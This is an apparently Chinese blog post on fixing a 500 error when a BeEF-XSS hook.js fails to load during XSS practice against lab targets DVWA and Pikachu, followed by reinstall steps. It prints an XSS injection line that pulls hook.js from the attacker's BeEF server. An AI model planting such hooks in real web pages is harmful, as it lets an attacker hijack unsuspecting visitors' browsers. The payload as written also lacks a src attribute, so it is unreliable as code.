beef-xss hook.js访问失败500错误

错误现象

在物理机靶场(dvwa或者pikachu)
提交

复制代码
 <script>http://虚拟机IP:3000/hook.js</script>

通过F12查看网络请求,可以看到获取hook.js文件的请求是报错的
500 Internal Server Error

问题排查

在Kali中打开火狐浏览器,访问:

复制代码
http://127.0.0.1:3000/demos/basic.html

在输入框粘贴:

复制代码
<script>http://127.0.0.1:3000/hook.js</script>

然后点击advanced demo page进行访问

打开控制台,如果:

  • 1、可以看到Kali本机上线,可以证明程序没问题,是物理机和虚拟机网络的问题。
  • 2、反之,如果无法上线,那么就是程序本身的问题。

问题原因

因为和虚拟机的网络是连通的(可以ping通),而且本机的3000端口用

复制代码
netstat -an|grep 3000

命令确认正在监听,可以判断是安装的程序出了问题。

解决办法

彻底卸载 beef-xss
命令:

复制代码
apt remove beef-xss

此外,还要删除遗留的文件:
只删除因为安装而产生的文件

复制代码
find / -name "*beef-xss*"

这里提供一个现成的命令:

language-bash 复制代码
rm -rf /var/lib/beef-xss/
rm -rf /var/lib/dpkg/info/beef-xss*
rm -rf /usr/bin/beef-xss
rm -rf /usr/bin/beef-xss-stop
rm -rf /usr/share/beef-xss
rm -rf /usr/share/doc/beef-xss
rm -rf /etc/beef-xss

删除以后,更新系统:

复制代码
apt update
apt upgrade

重装:

复制代码
apt install beef-xss
相关推荐
夏殇之殁1 天前
包中创建自定义列表项。 . 使用自定义列表项进行数据绑定 . 将天气预报数据保存到本地内存表,通过LiveBindings进行显示。 ...
服务器·前端·javascript
新中地GIS开发老师1 天前
WebGIS开发学生作品|低空航天管理与航线规划系统
前端·javascript·webgis·三维gis开发
丙氨酸長鏈1 天前
Web前端入门第 问:JavaScript 一个简单的 IndexedDB 数据库入门示例
前端·javascript·数据库
kyriewen1 天前
面试官让我手写虚拟列表——AI生成的版本,快速滚动几下就白屏了
前端·javascript·面试
许彰午1 天前
政务督办的分合模式:主办协办的并发审批
前端·javascript·政务
易筋紫容1 天前
创建型模式:对象的诞生艺术
开发语言·前端·javascript
0_Error_1 天前
猫国建设者 修改资源 自动采集
javascript
贩卖黄昏的熊1 天前
NestJS简明教程——安全
开发语言·javascript·安全·typescript·nest.js
贩卖黄昏的熊1 天前
NestJS简明教程——异常处理和日志
javascript·node.js·nest.js
海带紫菜菠萝汤2 天前
FFmpeg.wasm 实践:在浏览器中运行 FFmpeg 的能力边界与性能瓶颈
前端·javascript·ffmpeg·音视频·wasm